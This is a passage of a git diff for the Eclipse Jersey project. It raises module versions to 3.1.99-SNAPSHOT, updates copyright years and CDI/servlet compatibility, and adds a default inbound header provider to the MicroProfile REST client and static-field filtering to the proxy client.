             return Collections.emptySet();
         }
 
-        @Override
+        // @Override - Removed in CDI 4
         public boolean isNullable() {
             return true;
         }
diff --git a/ext/cdi/jersey-weld2-se/pom.xml b/ext/cdi/jersey-weld2-se/pom.xml
index 9790e01..3d5a71b 100644
--- a/ext/cdi/jersey-weld2-se/pom.xml
+++ b/ext/cdi/jersey-weld2-se/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext.cdi</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-weld2-se</artifactId>
@@ -66,6 +66,14 @@
                     <groupId>jakarta.inject</groupId>
                     <artifactId>jakarta.inject-api</artifactId>
                 </exclusion>
+                <exclusion>
+                    <groupId>jakarta.el</groupId>
+                    <artifactId>jakarta.el-api</artifactId>
+                </exclusion>
+                <exclusion>
+                    <groupId>jakarta.annotation</groupId>
+                    <artifactId>jakarta.annotation-api</artifactId>
+                </exclusion>
             </exclusions>
         </dependency>
     </dependencies>
diff --git a/ext/cdi/pom.xml b/ext/cdi/pom.xml
index 0af9140..d73f38d 100644
--- a/ext/cdi/pom.xml
+++ b/ext/cdi/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.ext.cdi</groupId>
diff --git a/ext/entity-filtering/pom.xml b/ext/entity-filtering/pom.xml
index 0eae91b..ffaa314 100644
--- a/ext/entity-filtering/pom.xml
+++ b/ext/entity-filtering/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-entity-filtering</artifactId>
diff --git a/ext/metainf-services/pom.xml b/ext/metainf-services/pom.xml
index 411dbb3..ba18f8f 100644
--- a/ext/metainf-services/pom.xml
+++ b/ext/metainf-services/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0"?>
 <!--
 
-    Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-metainf-services</artifactId>
diff --git a/ext/micrometer/pom.xml b/ext/micrometer/pom.xml
index 3980e2e..2c815f2 100644
--- a/ext/micrometer/pom.xml
+++ b/ext/micrometer/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2023, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.ext</groupId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/ext/microprofile/mp-config/pom.xml b/ext/microprofile/mp-config/pom.xml
index bbe540d..11dce7b 100644
--- a/ext/microprofile/mp-config/pom.xml
+++ b/ext/microprofile/mp-config/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2019, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.ext.microprofile</groupId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
@@ -95,7 +95,7 @@
         <profile>
             <id>JettyExclude</id>
             <activation>
-                <jdk>1.8</jdk>
+                <jdk>[11,17)</jdk>
             </activation>
             <build>
                 <plugins>
@@ -112,9 +112,9 @@
             </build>
         </profile>
         <profile>
-            <id>Jetty11</id>
+            <id>Jetty17</id>
             <activation>
-                <jdk>[11,)</jdk>
+                <jdk>[17,)</jdk>
             </activation>
             <dependencies>
                 <dependency>
diff --git a/ext/microprofile/mp-rest-client/pom.xml b/ext/microprofile/mp-rest-client/pom.xml
index bd5463d..3691b6b 100644
--- a/ext/microprofile/mp-rest-client/pom.xml
+++ b/ext/microprofile/mp-rest-client/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2019, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.ext.microprofile</groupId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
@@ -119,7 +119,6 @@
                         <Import-Package>
                             ${cdi.osgi.version},
                             jakarta.decorator.*;version="[3.0,5)",
-                            org.eclipse.microprofile.rest.client.*;version="[3.0,4)",
                             org.eclipse.microprofile.config.*;version="!",
                             *
                         </Import-Package>
@@ -130,4 +129,4 @@
         </plugins>
     </build>
 
-</project>
\ No newline at end of file
+</project>
diff --git a/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/MethodModel.java b/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/MethodModel.java
index 9f8ebd1..08eaf0a 100644
--- a/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/MethodModel.java
+++ b/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/MethodModel.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2019, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2019, 2025 Oracle and/or its affiliates. All rights reserved.
  * Copyright (c) 2019 Payara Foundation and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
@@ -379,6 +379,11 @@
         if (!headersContext.isPresent()) {
             for (InboundHeadersProvider provider : interfaceModel.context().inboundHeadersProviders()) {
                 inbound.putAll(provider.inboundHeaders());
+                if (RestClientBuilderImpl.DefaultInboundHeaderProvider.class.isInstance(provider)) {
+                    MultivaluedMap<String, String> fromFactory =
+                            ((ClientHeadersFactory) provider).update(inbound, customHeaders);
+                    customHeaders.putAll(fromFactory);
+                }
             }
         }
 
diff --git a/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/RestClientBuilderImpl.java b/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/RestClientBuilderImpl.java
index 2b7425f..687d228 100644
--- a/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/RestClientBuilderImpl.java
+++ b/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/RestClientBuilderImpl.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2019, 2025 Oracle and/or its affiliates. All rights reserved.
  * Copyright (c) 2019, 2021 Payara Foundation and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
@@ -47,8 +47,11 @@
 import jakarta.ws.rs.core.Configuration;
 import jakarta.ws.rs.core.Feature;
 import jakarta.ws.rs.core.FeatureContext;
+import jakarta.ws.rs.core.MultivaluedHashMap;
+import jakarta.ws.rs.core.MultivaluedMap;
 import jakarta.ws.rs.ext.ParamConverterProvider;
 
+import jakarta.ws.rs.ext.RuntimeDelegate;
 import org.eclipse.microprofile.config.Config;
 import org.eclipse.microprofile.config.ConfigProvider;
 import org.eclipse.microprofile.rest.client.RestClientBuilder;
@@ -56,6 +59,7 @@
 import org.eclipse.microprofile.rest.client.annotation.RegisterProvider;
 import org.eclipse.microprofile.rest.client.ext.AsyncInvocationInterceptor;
 import org.eclipse.microprofile.rest.client.ext.AsyncInvocationInterceptorFactory;
+import org.eclipse.microprofile.rest.client.ext.ClientHeadersFactory;
 import org.eclipse.microprofile.rest.client.ext.QueryParamStyle;
 import org.eclipse.microprofile.rest.client.ext.ResponseExceptionMapper;
 import org.eclipse.microprofile.rest.client.spi.RestClientListener;
@@ -66,10 +70,12 @@
 import org.glassfish.jersey.client.spi.ConnectorProvider;
 import org.glassfish.jersey.ext.cdi1x.internal.CdiUtil;
 import org.glassfish.jersey.innate.VirtualThreadUtil;
+import org.glassfish.jersey.internal.RuntimeDelegateDecorator;
 import org.glassfish.jersey.internal.ServiceFinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.InjectionManagerSupplier;
 import org.glassfish.jersey.internal.util.ReflectionHelper;
+import org.glassfish.jersey.message.internal.HeaderUtils;
 import org.glassfish.jersey.uri.JerseyQueryParamStyle;
 
 /**
@@ -92,6 +98,7 @@
     private final List<AsyncInvocationInterceptorFactoryPriorityWrapper> asyncInterceptorFactories;
     private final Config config;
     private final ConfigWrapper configWrapper;
+    private final DefaultInboundHeaderProvider defaultInboundHeaderProvider;
     private URI uri;
     private ClientBuilder clientBuilder;
     private Supplier<ExecutorService> executorService;
@@ -112,6 +119,9 @@
         config = ConfigProvider.getConfig();
         configWrapper = new ConfigWrapper(clientBuilder.getConfiguration());
         executorService = () -> VirtualThreadUtil.withConfig(configWrapper).newCachedThreadPool();
+
+        defaultInboundHeaderProvider = new DefaultInboundHeaderProvider(clientBuilder.getConfiguration());
+        inboundHeaderProviders.add(defaultInboundHeaderProvider);
     }
 
     @Override
@@ -491,6 +501,11 @@
         return this;
     }
 
+    public RestClientBuilder header(String s, Object o) {
+        defaultInboundHeaderProvider.header(s, o);
+        return this;
+    }
+
     private static class InjectionManagerExposer implements Feature {
         InjectionManager injectionManager;
 
@@ -529,4 +544,34 @@
         }
     }
 
+    /* package*/ static class DefaultInboundHeaderProvider implements InboundHeadersProvider, ClientHeadersFactory {
+        private final RuntimeDelegate delegate;
+        private final MultivaluedMap<String, String> headers = new MultivaluedHashMap<>();
+
+        private DefaultInboundHeaderProvider(Configuration configuration) {
+            this.delegate = RuntimeDelegateDecorator.configured(configuration);
+        }
+
+        private void header(String key, Object value) {
+            if (value == null) {
+                throw new NullPointerException();
+            }
+            headers.add(key, HeaderUtils.asString(value, delegate));
+        }
+
+        @Override
+        public Map<String, List<String>> inboundHeaders() {
+            return headers;
+        }
+
+        @Override
+        public MultivaluedMap<String, String> update(MultivaluedMap<String, String> incomingHeaders,
+                                                     MultivaluedMap<String, String> clientOutgoingHeaders) {
+            MultivaluedMap<String, String> map = new MultivaluedHashMap<>();
+            map.putAll(incomingHeaders);
+            clientOutgoingHeaders.forEach((k, v) -> map.addAll(k, v));
+            return map;
+        }
+    }
+
 }
\ No newline at end of file
diff --git a/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/RestClientProducer.java b/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/RestClientProducer.java
index 48bc397..0dff2b1 100644
--- a/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/RestClientProducer.java
+++ b/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/RestClientProducer.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2019, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2019, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -24,7 +24,7 @@
 import java.net.URI;
 import java.net.URL;
 import java.nio.file.Files;
-import java.nio.file.Paths;
+import java.nio.file.Path;
 import java.security.AccessController;
 import java.security.KeyStore;
 import java.security.KeyStoreException;
@@ -123,7 +123,7 @@
         return Collections.emptySet();
     }
 
-    @Override
+    // @Override - Removed in CDI 4
     public boolean isNullable() {
         return false;
     }
@@ -161,6 +161,13 @@
 
     @Override
     public void destroy(Object instance, CreationalContext<Object> creationalContext) {
+        if (AutoCloseable.class.isInstance(instance)) {
+            try {
+                ((AutoCloseable) instance).close();
+            } catch (Exception e) {
+                throw new IllegalStateException(e);
+            }
+        }
     }
 
     @Override
@@ -350,7 +357,7 @@
             }
             return result;
         } else if (location.startsWith(FILE_LOCATION)) {
-            return Files.newInputStream(Paths.get(URI.create(location)));
+            return Files.newInputStream(Path.of(URI.create(location)));
         } else {
             throw new IllegalStateException("Location of keystore must start with either classpath: or file:, but is: "
                                                     + location
diff --git a/ext/microprofile/mp-rest-client/src/main/resources/org/glassfish/jersey/microprofile/restclient/internal/localization.properties b/ext/microprofile/mp-rest-client/src/main/resources/org/glassfish/jersey/microprofile/restclient/internal/localization.properties
index 3afc639..5a3b074 100644
--- a/ext/microprofile/mp-rest-client/src/main/resources/org/glassfish/jersey/microprofile/restclient/internal/localization.properties
+++ b/ext/microprofile/mp-rest-client/src/main/resources/org/glassfish/jersey/microprofile/restclient/internal/localization.properties
@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2021, 2025 Oracle and/or its affiliates. All rights reserved.
 #
 # This program and the accompanying materials are made available under the
 # terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,3 +16,4 @@
 
 err.invalid.proxy.uri=Invalid proxy URI: {0}.
 err.invalid.proxy.port=Invalid proxy port: {0}.
+err.null.header=Header cannot be null.
diff --git a/ext/microprofile/pom.xml b/ext/microprofile/pom.xml
index bd69eaf..4928af4 100644
--- a/ext/microprofile/pom.xml
+++ b/ext/microprofile/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2020, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.ext</groupId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/ext/mvc-bean-validation/pom.xml b/ext/mvc-bean-validation/pom.xml
index 852406b..c207e2e 100644
--- a/ext/mvc-bean-validation/pom.xml
+++ b/ext/mvc-bean-validation/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-mvc-bean-validation</artifactId>
diff --git a/ext/mvc-freemarker/pom.xml b/ext/mvc-freemarker/pom.xml
index 5bcdd4f..f35c586 100644
--- a/ext/mvc-freemarker/pom.xml
+++ b/ext/mvc-freemarker/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0"?>
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-mvc-freemarker</artifactId>
@@ -42,6 +42,7 @@
                 <extensions>true</extensions>
                 <configuration>
                     <instructions>
+                        <Import-Package>jakarta.servlet.*;version="[5.0,7.0)",*</Import-Package>
                         <Export-Package>org.glassfish.jersey.server.mvc.freemarker.*;version=${project.version}</Export-Package>
                     </instructions>
                     <unpackBundle>true</unpackBundle>
@@ -56,11 +57,9 @@
     </build>
 
     <dependencies>
-
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
             <scope>provided</scope>
         </dependency>
 
diff --git a/ext/mvc-jsp/pom.xml b/ext/mvc-jsp/pom.xml
index dceb4ef..e8fbd55 100644
--- a/ext/mvc-jsp/pom.xml
+++ b/ext/mvc-jsp/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0"?>
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-mvc-jsp</artifactId>
@@ -54,7 +54,7 @@
                     <instructions>
                         <Import-Package>
                             jakarta.servlet.jsp.*;version="[3.0,4.0)",
-                            jakarta.servlet.*;version="!",
+                            jakarta.servlet.*;version="[5.0,7.0)",
                             *
                         </Import-Package>
                         <Export-Package>org.glassfish.jersey.server.mvc.jsp.*;version=${project.version}</Export-Package>
@@ -84,7 +84,6 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
             <scope>provided</scope>
         </dependency>
         <dependency>
diff --git a/ext/mvc-mustache/pom.xml b/ext/mvc-mustache/pom.xml
index e918d84..02187db 100644
--- a/ext/mvc-mustache/pom.xml
+++ b/ext/mvc-mustache/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-mvc-mustache</artifactId>
diff --git a/ext/mvc-thymeleaf/pom.xml b/ext/mvc-thymeleaf/pom.xml
index 2f25a73..33837eb 100644
--- a/ext/mvc-thymeleaf/pom.xml
+++ b/ext/mvc-thymeleaf/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2024, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -25,7 +25,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.ext</groupId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-mvc-thymeleaf</artifactId>
@@ -61,7 +61,7 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
+            <version>${servlet6.version}</version>
             <scope>provided</scope>
         </dependency>
 
diff --git a/ext/mvc/pom.xml b/ext/mvc/pom.xml
index 58927c3..767799a 100644
--- a/ext/mvc/pom.xml
+++ b/ext/mvc/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-mvc</artifactId>
@@ -37,7 +37,6 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
         </dependency>
 
         <dependency>
@@ -67,7 +66,7 @@
                 <configuration>
                     <instructions>
                         <Export-Package>org.glassfish.jersey.server.mvc.*;version=${project.version}</Export-Package>
-                        <Import-Package>${jakarta.annotation.osgi.version},*</Import-Package>
+                        <Import-Package> jakarta.servlet.*;version="[5.0,7.0)",${jakarta.annotation.osgi.version},*</Import-Package>
                     </instructions>
                     <unpackBundle>true</unpackBundle>
                 </configuration>
diff --git a/ext/mvc/src/main/java/org/glassfish/jersey/server/mvc/spi/AbstractTemplateProcessor.java b/ext/mvc/src/main/java/org/glassfish/jersey/server/mvc/spi/AbstractTemplateProcessor.java
index 79dd79c..b375afe 100644
--- a/ext/mvc/src/main/java/org/glassfish/jersey/server/mvc/spi/AbstractTemplateProcessor.java
+++ b/ext/mvc/src/main/java/org/glassfish/jersey/server/mvc/spi/AbstractTemplateProcessor.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
 import java.io.Reader;
 import java.nio.charset.Charset;
 import java.nio.file.Files;
-import java.nio.file.Paths;
+import java.nio.file.Path;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.Collection;
@@ -182,7 +182,7 @@
             // File-system path.
             if (reader == null) {
                 try {
-                    reader = new InputStreamReader(Files.newInputStream(Paths.get(template)), encoding);
+                    reader = new InputStreamReader(Files.newInputStream(Path.of(template)), encoding);
                 } catch (final IOException ioe) {
                     // NOOP.
                 }
diff --git a/ext/pom.xml b/ext/pom.xml
index a13a88e..924a338 100644
--- a/ext/pom.xml
+++ b/ext/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.ext</groupId>
diff --git a/ext/proxy-client/pom.xml b/ext/proxy-client/pom.xml
index 03b9119..a4d7244 100644
--- a/ext/proxy-client/pom.xml
+++ b/ext/proxy-client/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0"?>
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-proxy-client</artifactId>
diff --git a/ext/proxy-client/src/main/java/org/glassfish/jersey/client/proxy/RequestParameters.java b/ext/proxy-client/src/main/java/org/glassfish/jersey/client/proxy/RequestParameters.java
index 6bca315..aeffb03 100644
--- a/ext/proxy-client/src/main/java/org/glassfish/jersey/client/proxy/RequestParameters.java
+++ b/ext/proxy-client/src/main/java/org/glassfish/jersey/client/proxy/RequestParameters.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -35,6 +35,7 @@
 import java.lang.annotation.Annotation;
 import java.lang.reflect.Field;
 import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Modifier;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.Collection;
@@ -43,6 +44,7 @@
 import java.util.LinkedList;
 import java.util.List;
 import java.util.Map;
+import java.util.stream.Collectors;
 
 /**
  * Collector to retrieve parameters for setting up the HTTP request sent in the invoke method of WebResourceFactory
@@ -145,7 +147,7 @@
             throws IllegalAccessException, IntrospectionException, InvocationTargetException {
         Class<?> beanClass = beanParam.getClass();
         List<Field> fields = new ArrayList<>();
-        getAllFields(fields, beanClass);
+        getAllNonStaticFields(fields, beanClass);
 
         for (final Field field : fields) {
             Object value = null;
@@ -156,7 +158,7 @@
                 anns.put(ann.annotationType(), ann);
             }
 
-            if (hasAnyParamAnnotation(anns)) {
+            if (field.canAccess(beanParam) && hasAnyParamAnnotation(anns)) {
                 value = field.get(beanParam);
             } else {
                 // get getter annotations if there are no field annotations
@@ -178,11 +180,15 @@
         }
     }
 
-    private List<Field> getAllFields(List<Field> fields, Class<?> type) {
-        fields.addAll(Arrays.asList(type.getDeclaredFields()));
+    private List<Field> getAllNonStaticFields(List<Field> fields, Class<?> type) {
+
+        List<Field> nonStaticFields = Arrays.stream(type.getDeclaredFields())
+                .filter(field -> !Modifier.isStatic(field.getModifiers()))
+                .collect(Collectors.toList());
+        fields.addAll(nonStaticFields);
 
         if (type.getSuperclass() != null) {
-            getAllFields(fields, type.getSuperclass());
+            getAllNonStaticFields(fields, type.getSuperclass());
         }
 
         return fields;
diff --git a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyBeanParamWithPrivateField.java b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyBeanParamWithPrivateField.java
new file mode 100644
index 0000000..06250c7
--- /dev/null
+++ b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyBeanParamWithPrivateField.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.client.proxy;
+
+
+import jakarta.ws.rs.QueryParam;
+
+/**
+ * @author Divyansh Shekhar Gaur
+ */
+public class MyBeanParamWithPrivateField {
+
+    @QueryParam("privateFieldParam")
+    private String privateFieldParam;
+
+    private static String privateStaticField;
+
+    static String staticField;
+
+    public MyBeanParamWithPrivateField() {}
+
+    public String getPrivateFieldParam() {
+        return privateFieldParam;
+    }
+
+    public void setPrivateFieldParam(String privateFieldParam) {
+        this.privateFieldParam = privateFieldParam;
+    }
+
+    public static String getPrivateStaticField() {
+        return privateStaticField;
+    }
+
+    public static void setPrivateStaticField(String privateStaticField) {
+        MyBeanParamWithPrivateField.privateStaticField = privateStaticField;
+    }
+
+    public static String getStaticField() {
+        return staticField;
+    }
+
+    public static void setStaticField(String staticField) {
+        MyBeanParamWithPrivateField.staticField = staticField;
+    }
+}
